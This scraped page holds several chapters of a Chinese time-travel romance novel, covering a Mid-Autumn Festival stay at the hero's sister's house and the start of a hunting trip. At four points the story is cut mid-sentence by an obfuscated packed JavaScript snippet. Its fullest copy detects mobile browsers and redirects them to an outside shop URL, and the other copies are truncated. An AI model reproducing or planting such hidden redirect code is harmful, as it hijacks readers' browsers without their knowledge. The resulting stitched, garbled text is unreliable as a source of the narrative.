董浣浣站在一边,心想:这个老妈妈真的好会来事哦。 不过从小路子到老妈妈,为什么好像这里的人都提前知道了他们要来这边的事情? 难道这就是之前安齐修让卫苑提前安排好的事情吗? 董浣浣一时间想不明白,索性就不想了,还是过一会问安齐修吧。 董浣浣和安齐修在老婆婆的引领下去饭堂先去吃个午饭。 早上和安齐修出来的急,只是在路边小店里吃了几个包子,现在早就饿了。这主人家也真是贴心,来到就给饭吃。 董浣浣边走,边欣赏着这座房子的内部格局。 整座庭院成东西向,大门朝南。院内有流水和假山,房屋整个是红木结构的,南北通透。 在茫茫的大草原上有这么一个山谷,山谷里又有一座这样的房子。这简直是世外桃源啊。 两人在饭堂落座。 董浣浣微笑的看向老婆婆问道:“婆婆,你们家主人什么时候来啊?” 老婆婆闻言笑着道:“家主前几天出外云游了,让我待在家里好生招待两位。” 什么? 主人不在家? 饶是董浣浣脸皮厚,也不好意思在没有主人在家的情况下在人家家里大吃大喝,她朝安齐修狂使眼色,安齐修都用微笑的眼神把她的眼色给驳回了,董浣浣无奈了,只能硬着头皮和老婆婆说了一声:“那就麻烦您了。” 老婆婆笑着说:“不麻烦,不麻烦,我们这里好久都没有人来了,你们来了我们很开心。” 董浣浣这才放下心来,和老婆婆又道了谢。 寒暄完,老婆婆就出去给他们准备饭菜去了。 在等看看给他们上菜的空挡,董浣浣用手扯了扯安齐修的衣角,惊叹道:“我发现令堂的朋友真是遍布全国啊。”说完又环视了一下屋子问道:“还有你是怎么找到这么偏僻的地方的?” 安齐修闻言笑笑道:“家母早年间带我来过这里,恰好前几天给我来信让我路过这里一定要代她来看望一下。我也是前几天让卫苑先来拜访的时候,才得知它的主人去云游了,留有口信等我们来正式拜访让他们好生招待我们一下。” 董浣浣听完之后,点点头道:“原来是这样啊,怪不得他们好像提前知道我们要来了一样。” 既然已经坐下等饭了,董浣浣也不在矫情了,本着既来之则安之的精神,站起来开始在整间屋里里四处逛逛看看。 东看看,西看看之后,董浣浣忍不住发出了羡慕的感慨:“能生活在这样的世外桃源里,这里的主人好幸福啊。” 安齐修闻言笑笑道:“你喜欢这样的生活?” 董浣浣走到安齐修身旁点头道:“当然了,这里多好啊。能够隐世而居,不问世事,这种生活谁不想体验呢。” 闻言,安齐修语气中带着一丝“不可思议”道:“以你的性格,我以为你会喜欢热闹的生活。” 董浣浣听他这样说,笑着说:“你说的很对,让我小住一段时间可以,时间长了,我也怕我自己会烦,毕竟得不到的才是最好的嘛。” 说完一屁股坐在了安齐修旁边的椅子上了。 果然不出他所料,安齐修不说话了,笑着伸手拿起水壶给她倒水。 很快那位老婆婆引领着四个小厮四个丫鬟,把菜给他们端了上来。 桂花糯米藕、木须肉、鸡蛋羹、鱼香肉丝等等,一共八道菜都是江南小炒,和一盆清淡的豆腐腐竹汤,两碗米饭。 在古代的内蒙能够吃到不当季的南方小菜,董浣浣觉得很不可思议。 等到菜都上齐了,老婆婆笑着看着董浣浣和安齐修说:“菜都齐了,我就出去了不打扰两位贵客用膳了,你们如果有什么其他需要摇动那个铃铛就好,我听到就会过来。”,说完指了指屋门旁边挂着的那个铃铛。 安齐修站起身来和老婆婆表达了谢意:“有劳你了。” 董浣浣也顺势站了起来,朝着老婆婆微笑的点了一下头。 老婆婆脸上堆起了笑容道:“那老婆子我就先走了,两位请慢用。” 待老婆婆退出门去,董浣浣没有动筷子,而是转头看向安齐修,道:“那个,主人不在家,我们在这里大吃大喝的真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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董浣浣忍住了打饱嗝的冲动,侧头看向旁边的安齐修,道:“所以,我们接下来去干什么呢?” 安齐修拿起旁边的手帕擦了擦嘴角,优雅的转过头看向她道:“今天你有没有什么特别想要做的事情?” 董浣浣闻言,努力的想了想,然后摇摇头:“没有。” 安齐修微笑的看着她,声音温柔的低哄道:“中秋节你就没有特别希望可以做的事情吗?” 中秋节却不能和家人在一起,还有什么事情能比家人更重要呢,董浣浣想不出来。 安齐修看到她脸上的落寞,心里有些微微的疼:她大概是想家了。 如果不陪他来蒙古,这时候她应该回到家里和阿玛团聚了。 一时无话。 董浣浣看到安齐修也沉默了,整理了一下情绪提议道:“要不我们回客栈吧,把紫鸢他们都叫上我们一起过个中秋节。” 安齐修闻言,脸上落寞的情绪一闪而过,转而换上一张明媚的笑脸,笑着说道:“这恐怕是不能如你愿了。” 听到他这样说,董浣浣从嘴里吐出了一个:“啊?!” 35. 夜宿 董浣浣张着嘴巴,两只眼睛无辜的眨呀眨,一脸懵懂的看着安齐修。 看着她这幅模样,安齐修抿了抿嘴角,一脸认真的问道:“怎么,你不喜欢我们两个人一起庆祝中秋吗?” 闻言,董浣浣轻声否认道:“那倒不是。” 只是她不明白中秋节又不是七夕情人节,为什么安齐修非要两个人在一起庆祝呢? 象征着团圆的节日,大家一起庆祝不是更热闹一些吗? 不过,这既然是他们两个在一起的第一个节日,单独庆祝就单独庆祝吧,董浣浣在心里说服自己道。 听她这么说,安齐修轻弯了下嘴角道:“那就好。” 既然已经商量好了怎么庆祝,董浣浣提议道:“那我们现在和老婆婆道个别,就回客栈吧。” 董浣浣在心里默默的盘算着,和安齐修庆祝完,应该也不会太晚,回到房里再和紫鸢和小柒庆祝一下也来得及,这样既照顾了爱人的情绪也照顾了家人的情绪,简直完美。 董浣浣觉得自己平衡事件的能力简直太强了,在心里默默的给自己点了个赞。 听到董浣浣的提议,安齐修轻微的皱了一下眉头,问:“为什么要回客栈?” 直到这一刻,董浣浣才算好像理解了他的意思,有点不确定的试探道:“你不会是说,我们两个要在这里单独庆祝中秋节吧?” 闻言,安齐修勾了一下唇角,笑笑道:“当然。” 董浣浣彻底傻了。 今天的安齐修在她心里的形象,算是彻底的崩塌了。 他什么时候学会这么喜欢占别人家便宜了,这在人家大吃大喝就算了,这还准备在人家住下了。 她心中的翩翩君子,怎么今天一天就堕落成这个样子了。 董浣浣有些艰难的提议道:“那个,其实我们两个一起在客栈庆祝,也是一样的。到了客栈我们也可以顺便收拾收拾明天需要的包袱,早点出发去打猎。” 董浣浣之所以如此抗拒,一方面是不想在占别人的便宜,另一方面也是因为她的内心深处莫名的有点小不安。 这孤男寡女的在一个陌生的环境里,等到晚上月黑风高的,总是让她忍不住会多想,更何况这次安齐修身上也没伤,是个高大健康的男人。 虽然她的内心深处知道安齐修是个君子,可是还是会不由自主的胡思乱想。 如果,万一,安齐修那样做了,她是从还是不从,董浣浣此时心里是一片乱麻。 安齐修看了一眼她脸,就知道她又想歪了,于是顺着她的想法往下接:“行李的事情,单良紫鸢会帮我们把一切打理妥当的,我们明天一早回去直接和他们会合就可以了,我待会问一下管家今天能不能给我们腾出一间房。” “一间房?!”,董浣浣忍不住惊叹出声。 心里咯噔一次,完蛋了,这次让她真的猜中了。 虽然她是在和安齐修谈恋爱,虽然是她积极主动的先提出来的,虽然她也知道古代有些事情发生的比较早。 虽然有那么多的虽然,可是这未免来的也太快点了吧,她都没有做好心理准备,而且他们不是还没成亲吗,古人现在都这么开放了吗,没成亲就可以同床共枕了吗,电视剧里可不是这么演的啊。 还没等到董浣浣脑补完,坐在一旁的安齐修笑着补充:“我是说,我们一人一间房。” 董浣浣闻言羞愧的低下了头。 一颗提着的心放了下来。 一人一间房,就早点说清楚嘛,把她吓个半死。 都怪安齐修之前的那句:人给我就好,害她今天一天都忍不住多想,一直脑补些有的没的。 安齐修看了一眼她低下去的小脑袋,嘴角微扬,站起身去拉响了铃铛。 不一会儿,管家婆婆就闻声赶来了。 老婆婆推开门进来,脸上带着和善的笑容向安齐修和董浣浣问道:“两位贵客这么快就吃好了,饭菜还合两位的胃口吧?” 看到老婆婆进来了,董浣浣惯性的站起身来,点头答道:“您的手艺真好,饭菜做的很美味。” 安齐修站在一旁不说话,静静的看着她们两个寒暄。 老婆婆闻言笑眯眯的拉着董浣浣的手说:“那就好,那就好,合您的胃口就好。主人不在家,多有怠慢之处还望两位见谅。” 董浣浣忙摇摇头道:“哪有,哪有,您真是太客气了。” “对了,两位风尘仆仆赶来,想必是累了吧,我先带两位去客房休息一下吧?”,老婆婆一副突然想到的模样。 董浣浣正想客套的说一下不用了呢,结果站在旁边的安齐修先出了声道:“那就有劳您带路了。” 好吧,这下是彻底的没有商量的余地了。 两人随着老婆婆七绕八绕的走到了留给客人的卧房。 董浣浣和安齐修的房间对门,两间房里面的陈列摆设如出一辙。 董浣浣对家具字画都没有研究,只是从房屋布置的风格上来看,感觉这里的主人是一个饱读诗书的文化人。 老婆婆给他们介绍完卧房后,转身笑盈盈的看向安齐修说道:“听闻安公子喜欢诗书,如果您感觉无聊的话,可以去‘翠月阁’挑几本书来看。” 安齐修点头称好。 接着管家婆婆又带他们去了“翠月阁”认路。 在和他们介绍完“翠月阁”的情况之后,管家婆婆又差人给他们准备了茶水。 老婆婆笑盈盈的道:“那我就不打扰两位的雅兴了,这边也有个铃铛,两位有什么问题,同样也可以晃动铃铛,我听到后马上就来。” 董浣浣笑着答话:“实在是太麻烦您了。” “不麻烦,不麻烦,两位自便就好了。”,老婆婆说完就笑呵呵的退出门去了。 待老婆婆一走,安齐修走到书架旁,从书架上随便拿了一本《大学》,走到床榻的一边倒了杯茶开始看起书来。 董浣浣围着书架左转转,右转转的也没找到适合她的书,索性就不找了。 随手拿起一本书坐在安齐修的对面,把书翻开立起来,支着下巴眼睛悄悄从书的上面漏出来,用余光偷偷的在观察安齐修。 晒着太阳看帅哥,简直是一大美事。 他的睫毛好长啊,鼻子好挺哦,这个世界上怎么会有长得这么好看的人呢? 董浣浣想。 阳光暖融融的照在身上,眼睛静静的在欣赏帅哥,看着看着董浣浣就睡着了。 这期间安齐修一直可以感受到她那直勾勾的目光,书上的字一个也没有看进去,却什么也不说什么也不做静静地任她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老婆婆还没来得及张口,坐在一旁的安齐修的声音就插了进来:“这里的女主人姓安,是我姐姐。” 董浣浣石化了。 怪不得他一反常态的,来这里像到自己家里一样,又是大吃大喝的,又是借宿的,感情那个朋友是他姐啊。 老婆婆看着董浣浣一脸震惊的样子笑着补充道:“对,安公子是我家主人同父同母的亲弟弟,所以也算是这个家的主人。” 董浣浣闻言点了点头:“哦。” 老婆婆收拾好了碗筷看了一眼董浣浣的模样,笑着道:“两位待会可以去偏厅休息下,我们已经在准备晚上的中秋节家宴了。” 董浣浣和安齐修闻言,点头道谢。 等到老婆婆离开了之后,董浣浣才凑到安齐修身边,拉着他手臂上的衣服问道:“原来这是你姐姐家啊,我说你怎么今天这么一反常态呢。” 闻言,安齐修只是笑笑,不说话。 董浣浣又道:“不过也真是巧,科尔沁姓孟的是不是特别多,这两天我认识的人都姓孟,你姐夫也姓孟,孟章砚也姓孟。” 待她说完,安齐修拍拍她拉着他胳膊的手,笑着说:“嗯,真巧。” 36. 命中注定 是夜。 是夜。 一轮明月在天上遥遥的挂着。 董浣浣和安齐修面对面坐在偏厅的内室里喝茶,管家婆婆则带着一群佣人在外面忙进忙出的在准备中秋晚宴。 内室里。 安齐修手里拿着一本书,正在聚精会神的看书。 董浣浣坐在一旁的桌子上在拨算珠,话说她已经好久都没有安静的坐下来拨算珠了,大清第一女商人的梦想在这短短的几个月里在她身上经历了从点燃到抛之脑后。 也许是这几个月实在是玩的太开心了,心都野了,董浣浣此时根本静不下心来拨算珠,索性就不拨了站起身来围着房间转了转,参观了一下。 她左摸摸右看看,实在是太无聊了。 听见外面的人来来往往的忙个不停,自己却在这里百无聊赖的瞎转悠董浣浣有点心虚,虽说这是安齐修的姐姐家,但是一直在别人家里坐着等着吃总归是不太好,遂走到安齐修身边道:“我待在这里太无聊了,我去看看管家婆婆有什么需要帮忙的。” 和安齐修报备完,董浣浣就准备出门去帮忙。 谁料,她刚转过身去,就被安齐修拉住了胳膊。 安齐修轻声说:“坐下,你以后要适应现在的生活。” 董浣浣刚想抗辩,安齐修的声音又再次响起:“乖,听话,去拨你的算盘。” 这声音,这语气,这眼神! 董浣浣一看到这个模样的安齐修就会忍不住按照他的话去做。 等到安齐修松开拉住她的手,董浣浣乖乖的回到她的位置坐下,开始接着拨她的算盘。 听话是听话了,也在拨算盘了,只不过脑袋在想什么是连她自己都控制不住的。 不一会儿,董浣浣就又开始走神了。 她待在这里不回客栈真的好吗,中秋节夜宿在外面,紫鸢和小柒见不到她会不会很伤心啊。 果然自古情义难两全啊。 董浣浣边想边忍不住叹气。 在她第三次来叹气的时候,正在看书的安齐修终于忍不住抬头看向她说话了:“怎么唉声叹气的。” 董浣浣老实的回答道:“我想紫鸢她们了,我早上答应带她们出去玩的,现在又食言了。” 安齐修闻言放下手中的书,走到她面前牵起她的手道:“走。” 董浣浣不明所以的被拉起来,有些疑惑的转头看向安齐修,边走边问道:“走,我们去哪里啊,回客栈吗?” 话音刚落,安齐修把门“刷”的一下打开了,就看到安齐平、紫鸢、小柒他们坐在对面的桌子上,齐刷刷的看向她。 偏厅外室放着两张桌子,安齐平,紫鸢他们一桌,另一桌则是老婆婆以及这个家的仆人。 看到这幅景象,董浣浣愣住了。 这是什么情况? 他们什么时候来的? 安齐修牵着傻愣愣的她往桌子的方向走,边走边笑着说:“你不是说想和他们一起过中秋节吗,我帮你实现了你的愿望。” 董浣浣呆呆的点了一下头。 两人在主座就坐。 安齐修拿起酒杯对众人说道:“今天是一年一度的中秋佳节,感谢诸位这一路的相伴,今备酒菜一桌感谢各位连日来的辛苦。”,说完一饮而尽。 众人见他站了起来,也都连忙端起眼前的酒站起身来。 除了小柒太小被董浣浣阻止了之外,其他人皆是一饮而尽。 众人坐下吃菜,董浣浣悄悄的凑到安齐修面前问道:“你什么时候让他们过来的?” 安齐修学着她的样子低着头,凑近她的耳边轻声说道:“早上当着你的面,吩咐的卫苑。” 董浣浣这才恍然大悟那时候他吩咐卫苑的是什么了,于是轻拍了一下安齐修的肩膀,娇嗔道:“你明明都安排好了,却还骗我说什么只有我们两个人庆祝。” 安齐修笑笑道:“不说是惊喜,说出来对你来说这就只是一顿饭而已了。” 闻言,董浣浣竟无力反驳。 有些不好意的抬起头,准备还是默默的吃饭为好。 谁知她刚抬头,就看到所有人都用一种特别怪异的眼神在看着他们。 董浣浣轻咳了一声,看向众人道:“看什么呢,吃饭。” 众人回过神来又像什么刚刚都没有看到的样子,低头吃饭了。 坐在她旁边的安齐修对于刚刚发生的这一幕不予置评,只是轻微的勾起了一下嘴角,默默的夹起了一块水晶豆腐放入口中。 一顿饭过后,众人走出房门开始赏月。 天上的月亮好美啊,此时天幕中的星星都不见了,只剩下它一个又大又圆的遥遥的挂在那儿。 管家婆婆事先让人在房外的山谷中给他们铺了两张大大的毯子,上面放着各种佳肴和美酒,一群人席地而坐举头望月,很是惬意。 小柒叽叽喳喳的在和紫鸢说个不停,单良和刘全在旁边忙着猜拳,安齐修和安齐平笑着饮酒,其他人也都在笑着闹着,今天在这里没有主仆,没有长幼,大家都是相亲相爱的一家人。 这种大家一起坐在花丛中饮酒赏月,这是一件多么享受的事情,董浣浣忍不住感慨。 突然,一束黄色的烟花从不远处的天空上绽放。 董浣浣不敢相信自己的眼睛,在遥远的大清朝,她居然亲眼看到了烟花。 那一簇簇的黄,一簇簇的蓝,一簇簇的绿,一簇簇的红,像流星雨一样洒满不远处的天际,让人忍不住的惊叹,这景色也太美了。 虽说董浣浣身为一个现代人在现代已经看烟花看到麻木了,可是此刻还是被这样绚丽的景色给迷住了。 都没有注意到周围的人,陆陆续续的都转身离开了,只剩下安齐修和她。 在一朵红牡丹在天上绽开之后,董浣浣忍不住转头拉住安齐修的手,激动的说道:“快看,快看,这牡丹真是太漂亮了。” 安齐修看了一眼董浣浣牵着他激动的晃动的小手,又抬头看向她的眼睛,眼角含笑,语气宠溺的道:“你喜欢就好。” 董浣浣闻言,先是:“啊?”了一声,接着猜测道:“这烟花不会是你准备的吧?” 安齐修点头:“让卫苑去放的。” 刚刚大家都出来赏月,董浣浣还在想卫苑为什么不出来,原来是被安齐修给差遣去放烟花了。 董浣浣问:“这烟花很贵吧?” 安齐修闻言,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董浣浣昂起头骄傲的说:“我不管,我为什么要和别人学,我就要做最特别的那一个,只要有圆的月亮你就要给我准备礼物。” 安齐修闻言,宠溺的笑笑道:“好,以后只要是月圆之夜,我都会给你准备礼物。” 董浣浣满意的点点头:“这还差不多。” 安齐修看到她这个样子笑笑道:“那你还记得我们是哪一天认识的吗?” 董浣浣疑惑的问道:“什么日子?” 安齐修够了一下唇角,笑着说:“三月十五,月圆之夜。” 董浣浣惊讶站起身来:“真的吗,怎么可以这么巧啊。” 安齐修点点头,然后笑着问道:“你都不记得你是什么时候遇见的我了吗?” 董浣浣有点心虚的点点头,她那阵子不是忙着离家出走嘛,哪还刻意的记得他们相遇的日子。不过转念一想,她都不记得他们相遇的日子却能选择月圆之夜做他们的纪念日,这就是所谓的命中注定吧,于是得意的说道:“看吧,老天都认为我的决定很不错,才会有这么巧的安排。” 安齐修闻言,点了点头宠溺的看着她道:“你说的对,以后月圆的日子就是我们纪念日。” 37. 出发去打猎 第二天,他们终于准备出发去大兴安岭了。 董浣浣也是昨天晚上回房间的时候,才知道在她不知道的情况下,他们不光所有人都来了,而且已经把行李都收拾到这里了。 董浣浣问了一下紫鸢为什么要把行李收拾到这里,紫鸢回答说,单良告诉她们安齐修吩咐说:为了安全起见,从大兴安岭回来他们直接就住在这里了。 董浣浣无语,看样子安齐修这是早有预谋啊,他们这是要将蹭吃蹭喝进行到底了。 早上吃过早饭,一行人就出门打猎所需的行装开始收拾起来。 按照安齐修事先的吩咐,他们准备两辆马车和四匹马,带上了充足的干粮和细软。 一群人捆绑的捆绑,搬运的搬运,进进出出,里里外外的忙个不停。 董浣浣和安齐修一起站在远处监督着他们的进程。 看着他们忙碌的身影,董浣浣有些不好意思的对安齐修说道:“大家都这么忙,我们站在这里好吗,要不然我们也去帮帮忙吧。” 安齐修眯了一下眼睛,脸色特别严肃的看向董浣浣道:“虽然我知道你一直把紫鸢她们当做家人看待,但是我希望你以后要记得,无论你再怎么把他们当做家人,你始终都是他们的主人,而他们始终只是你的仆人。主人就要有主人的样子,有些事情是你永远也不能够帮他们做的。” 董浣浣闻言,偷偷瞄了一下安齐修的脸色,心里突然有点点发慌,从嘴里轻声的发出了一个:“哦。” 又过了一会,董浣浣左看看右看看,发现人群中又没有安齐平的身影,于是向安齐修问道:“这次安齐平也不和我们一起去吗?” 话说,最近她都很少见到安齐平了,那个以前总喜欢在她面前晃的,存在感十足的爱装大人的小屁孩,最近好像总是神出鬼没的,看不见身影的样子,偶尔能看到他也总是在众人在场的场合,最近他们说的话的加起来的总和还没有他们以前斗嘴时候的一天的量。 安齐修闻言,脸色平淡的解释道:“他在房里,等到他们收拾好了,自然就出来了。” 董浣浣点点头:“哦。” 又过了一会,眼看着大家已经收拾的七七八八了,董浣浣跟在安齐修后面才走向众人。 与此同时,安齐平在刘全的引路下从房间里出来了。 董浣浣笑着给安齐平挥挥手打了个招呼,安齐平笑着点头回应道:“浣儿姐姐,好。” “咳。” 董浣浣闻言差点被自己的唾沫给噎死。 安齐平最近的画风好像让她越来越不认识他了。 安齐平恍若没有看到她的震惊,接着看向安齐修道:“哥,早。” 安齐修一脸平淡的点头道:“早。” 卫苑最后又检查了一下马鞍,回头看向安齐修说道:“主子,按照您的吩咐都已经安排好了,您和小少爷,我还有单良骑马,浣主子和其他人分坐两匹马车。” 安齐修点点头,表示对安排很满意。 董浣浣站在安齐修旁边,举起手弱弱的开口道:“那个,我想问一下,为什么安齐平可以骑马而我却要坐车啊?” 明明她也是有马的人了,让一个八岁小孩骑马,却不让她骑,这话感觉有点说不过去。 闻言,几人齐刷刷的看向她。 董浣浣被他们这样盯着,一瞬间有点心虚,她是有说错了什么话吗? 卫苑张嘴想要解释:“浣主子,你可能不知道小少爷他、、、、、、” 卫苑的话还没有说完就被安齐修给截断了,安齐修看着董浣浣一脸温柔的轻声问道:“你是想要骑雪融?” 董浣浣有点不明所以的点头道:“嗯。” 安齐修闻言,眼神瞄了一下离他们最近的那匹马,冲着卫苑吩咐道:“去把雪融牵来,把这匹马换了。” 卫苑有些为难的看向安齐修:“可是主子、、、、、、” 安齐修脸色一变,语气里带着一丝不容置喙的笃定道:“卫苑。” 卫苑闻言把剩下的话咽了回去,轻弯了下身,双手相交置于胸前,回复道:“是,主子,我这就去换。” 说完唤来一个小厮过来牵马和他一同前往马厩换马,安齐平看完热闹和安齐修点了一下头说要去检查自己的马也走开了。 趁着卫苑去换马的空档,董浣浣看了一下众人都在忙碌没人注意到他们这边,于是悄悄的凑到安齐修的身边,对安齐修勾了勾手指。 安齐修很配合的低下了头,董浣浣凑近他的耳朵边小声的说道:“事先声明啊,我不是想要扫大家打猎的兴致,我们虽然是去打猎,只不过可不可以只打猎不杀生啊?” 安齐修听完狐疑的看了她一眼。 去打猎却不让人家杀生,董浣浣也知道自己这个要求是有点过分,看到安齐修一脸不解的望着她,董浣浣硬着头皮解释道:“这不是刚过了中秋嘛,团圆的节日,我们这样去杀生,我总感觉寓意不好。” 待她解释完之后,安齐修脸上的狐疑一扫而光,笑笑道:“已经吩咐过了,游玩为主,切忌杀生。” 董浣浣这才放下心来。 心里陡然间的生出一丝欣慰之感,这大兴安岭的动物,在几百年后都是国家的一级保护动物,是财富,想她一个穿越到大清朝的二十一世纪的普通公民能为国家做的也只有这么少了。 不一会儿,卫苑就把雪融牵到了他们面前。与此同时,大家也都已经收拾好了。 安齐修低头柔声的向董浣浣问道:“准备好了吗?” 董浣浣点头道:“嗯。” 安齐修闻言,轻蹲下身去,待董浣浣两只手环住他的脖子之后,一把把董浣浣抱上了马背,然后自己也抬脚上马。 董浣浣发现自己的脸皮在逐渐变厚,之前在众人面前她还想要紫鸢扶她上马,现在已经完全适应了安齐修抱着她上马了。 看到这样的场景,其他人这才明白董浣浣所谓的骑马是什么意思,一颗悬着的心才算放下来。 刚刚卫苑以为董浣浣要一个人骑马走几十里地,想着浣主子不会骑马,这该如何是好,如今看来只是会辛苦一下主子和雪融,也就放心了。 安齐修上马坐稳后,交代众人道:都准备好。 一群人闻言赶忙行动起来,上马的上马,上车的上车。 董浣浣从安齐修的怀里探出头,往后面看了一下,想要看看紫鸢和小柒有没有安全的坐上车。看到她们两个在一个小厮的搀扶下安全的坐上了车,才放心的转过头来。 余光不经意的从安齐平的身上扫过,然后就愣住了。 只见安齐平在没有下人的搀扶下,一个人一手拽住缰绳,一脚踩住马镫,另一只脚往马背上一甩,手一使力,利落的上马。 董浣浣看着安齐修坐的笔直的身影,这才明白为什么刚才她问安齐平为什么可以骑马,她却不能骑马,其他人为什么这么惊讶了。 感情是安齐平是这样骑马的,而她是这样骑马的。 此刻董浣浣感觉自己真是太丢人了。 董浣浣一句话也不想说了,默默的转过头来,小心翼翼的躲在安齐修的斗篷里,她再也不想见人了。 安齐修没有察觉她心里的异样,只是温柔的嘱咐她道:“抓好缰绳,我们出发了。” 董浣浣躲在他的披风里乖乖的点头道:“哦,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815862|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 随着安齐修一声“出发”,一群人浩浩荡荡的往大兴安岭进发。 一群人赶了一天一夜的路终于到了大兴安岭的脚下。 安齐修走在最前面,勒住缰绳停下马。 众人看到安齐修停下马了,也纷纷停了下来。 安齐修先下马,然后把董浣浣抱下了马,之后唤来卫苑。 卫苑依召走上前来,安齐修吩咐道:“吩咐下去,先原地修整一下,天亮之后我们进山。” 卫苑拱手应道:“是。” 安齐修看了一眼站在她旁边的董浣浣,只见她抿着嘴努力的冲着他笑,小脸被冻得有点发白。 安齐修伸出手冲她轻声唤道:“过来。” 董浣浣听话的走了两步靠近他,并把手递给他。 安齐修拉住她的手搓了搓道:“怎么这么凉”,说完解下身上的斗篷给她披上。 卫苑按照安齐修的要求吩咐下去,一群人原地驻扎,点上篝火,搭起了帐篷,准备休息一下迎接黎明的到来。 中秋过后的大兴安岭,凌晨的风吹在人的脸上冷飕飕的。 董浣浣戴着白色绒帽,穿着骑装,坐在篝火旁边搓着手烤火。 刚刚她把安齐修给她的披风给安齐平披上了,那孩子也是倔强的很,居然只穿了一件单衣站在风口等着刘全给他拿衣服,董浣浣让他先披上斗篷,等刘全拿来衣服再还给她就好,谁知任董浣浣好说歹说他都不愿意穿,董浣浣一生气直接把衣服强行往他身上一披,就走了。 耍帅一时爽,现在冷断肠,董浣浣边烤着火边感叹。 紫鸢看到她这个样子,赶忙从车里给她拿出了一条披风给她披上,有点心疼的对她说道:“这么冷的天,小姐也不知道披个斗篷。” 董浣浣嘿嘿一笑,两只手拽了一下斗篷的绳带往身上又裹了裹。 没过一会儿,小柒也从车上下来走到董浣浣的旁边坐下,学着董浣浣的样子伸出手来烤火。 小柒问道:“小姐,这山里有小兔子吗?”,清凌凌的声音夹杂着一丝好奇在董浣浣耳边响起。 董浣浣回头看她,只见这个小傻瓜居然也只是穿了一件单衣。 董浣浣有些头疼的想:一个个都穿的这么少,这个时代的小孩都是这么抗冻的吗? 董浣浣伸手解下自己的披风披在小柒的身上道:“当然了,这山里不光有兔子还有老虎,狮子和狼,天亮进山的时候你一定要跟紧我,听到了吗?” 小柒点点头道:“知道了小姐。”,然后就要把董浣浣给她披上的衣服还回去道:“小姐你穿吧,我不冷。” 董浣浣冷着脸道:“我是大人了,我不冷。你听话,穿好。” 小柒看了一眼董浣浣的脸色道:“哦。” 又过了一会儿,安齐修和卫苑商量完进山的流程后,就坐到董浣浣身旁,把身上的斗篷往董浣浣的身上一批,说道:“山间露重,多穿一点。” 董浣浣感觉身上一沉,接着便有一股充满他气息的温暖瞬间包围了她。 董浣浣一看还是刚才安齐修给她披上的那件斗篷,不知道什么时候又回到了安齐修的身上。 董浣浣刚想说自己不冷,把斗篷取下来给他,却被安齐修制止住了。 安齐修像训小孩一样的“训斥”她道:“刚刚还让别人听话,自己怎么一点也不听话。” 董浣浣闻言老脸一红,一句话也说不出来了,只能乖乖的披上他那件斗篷。 坐在董浣浣旁边的小柒本来还想要说些什么的,被识趣的紫鸢掐着后脖颈给拎走了。 这堆篝火旁此时又只剩下董浣浣和安齐修两个人了。 38. 打猎中 天一亮,卫苑他们按照安齐修的吩咐就开始准备了进山事宜。 今天大兴安岭的天不是特别的晴朗,整个山脚下弥漫着淡淡的轻雾,似有似无的,宛若笼罩了一层轻纱。 按照他们事先商量好的,安齐修姐姐家的两个丫鬟和两个小厮留下来看守财物,剩下的人一同向山里进发。 他们从大兴安岭的南面出发,选择了一条还算平坦的进山之路。 出发前卫苑已经提前去探过路了,在这一片山区活动的都是些兔子、麋鹿等没有危险性的草食动物,很适合他们这样的群体去“打猎”。 刚踏进路口,安齐修有些不放心的牵起董浣浣的手,柔声的嘱咐她道:“进了山之后,无论发生了什么事情,都一定要跟紧我,明白吗?” 董浣浣点头道:“明白。” 说完转头看向紫鸢和小柒,嘱咐她们道:“听到了吗,一定要跟住我们。” 小柒和紫鸢手牵着手点头道:“知道了小姐。” 其实一开始,董浣浣害怕会遇到不可控的危险,是不想让小柒和紫鸢也参与进来的。没想到这两个姑娘的好奇心实在是太重了,硬生生的要跟着来。还美其名曰,要和她同生共死,绝不分离。 董浣浣闻言,扶额道:“你们想跟着来就说你们想跟着来,别一副慷慨赴死的模样。” 两人闻言对视了一下,嘿嘿一笑,显然是被戳破了谎言的模样。 后来卫苑探路回来之后说这片区域只有一些没有攻击性的草食动物,董浣浣心想既然没有危险,她们想跟着就跟着吧。 一行人,结伴而行,为了不惊扰山中动物的宁静,大家都没有骑马,步行进山。 这条路平坦倒是平坦,不过也可以看出来此条路,大概是鲜有人走了,在原来走出来的路上已经长出了新的杂草。 卫苑和刘全两人走在前面开路除掉那些过于缠绕的杂草,董浣浣和安齐修走在后面,其他人跟在他们的身后。 除了女子外,大家都背着弓箭和火铳,以防出现什么意外,可以保证大家的安全。 董浣浣觉得,这样大家一起走在郁郁葱葱的山间小路上,特别像是春游。 只是他们这个春游实在是太闷了,大家都默不出声的,一副急匆匆赶路的样子。 董浣浣在心里嘀咕,明明不需要这么紧张的嘛,关键时候还是需要她这个活跃气氛小达人出场。 她想了想应该怎么做呢? 脑子突然间灵光一闪。 既然是春游怎么可以没有拉歌呢。 